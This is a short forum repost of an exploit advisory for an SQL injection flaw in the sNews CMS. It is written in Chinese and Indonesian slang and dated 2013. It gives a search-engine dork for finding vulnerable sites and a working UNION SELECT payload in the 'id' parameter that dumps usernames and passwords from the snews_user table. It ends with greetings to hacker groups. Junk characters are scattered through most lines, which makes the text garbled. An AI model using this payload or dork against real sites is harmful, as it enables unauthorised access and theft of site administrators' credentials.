标题: CMS snews SQL Injection Vulnerability
( J; A T& F" i0 t& Y; e6 Z! t* ^5 f* T作者: By onestree# w& N d; W; A# f. h: D
下载地址 : http://snewscms.com/
1 O& o+ e) ~* B测试平台 : ubuntu 12.10 / win 7
9 d$ c0 s% K/ E关键词: inurl:"tanyakan pada rumput yang bergoyang"
+ _2 C) ?0 Y2 i1 m; o* ~& L
( M1 w7 J& H+ o0 j! B" ?! c1 i ) O2 ]1 f3 q3 I9 f, v
*************************************************************- _2 ^3 W X1 n$ @
# B( y8 J0 W/ t5 U! V8 CSQL poc:# b1 T* E; [1 N' u3 L* x
/ C w8 M7 l" x6 T+ d Shttp://www.2cto.com /snews/snews.php?act=shownews&id=[SQL]
5 X f, K6 n2 M; A Y 2 M# K( c/ }* m- h
示例; F& l+ n( M) S+ N, \" b: z" b
' N; R8 E" P {$ Bhttp://localhost/snews/snews.php?act=shownews&id=-23/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/snews_user/**/where/**/id%20like%201/*
# P }" q4 I. ~9 p5 Y/ a
" K7 {, b( l P* R$ ?: f! U- d
( `* X# m# A9 J/ Z4 z6 @致谢:4 Z6 p1 G, ?0 Q, @) U h
# e8 C& Z' y. D" @" X Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell* y+ ?# n, L" @- z4 {2 o4 V
4 x9 q" A& A& r3 O& }: t, t/ j& j indonesiancoder - moeslimh4x0r - go-coder2 a' s- A4 J( D4 L
0 T1 |4 K+ d% `6 Uspesial my hunny :*8 Y) H b0 V. f; A/ V
|
发表于 2013-1-23 08:55:06
收藏
支持
反对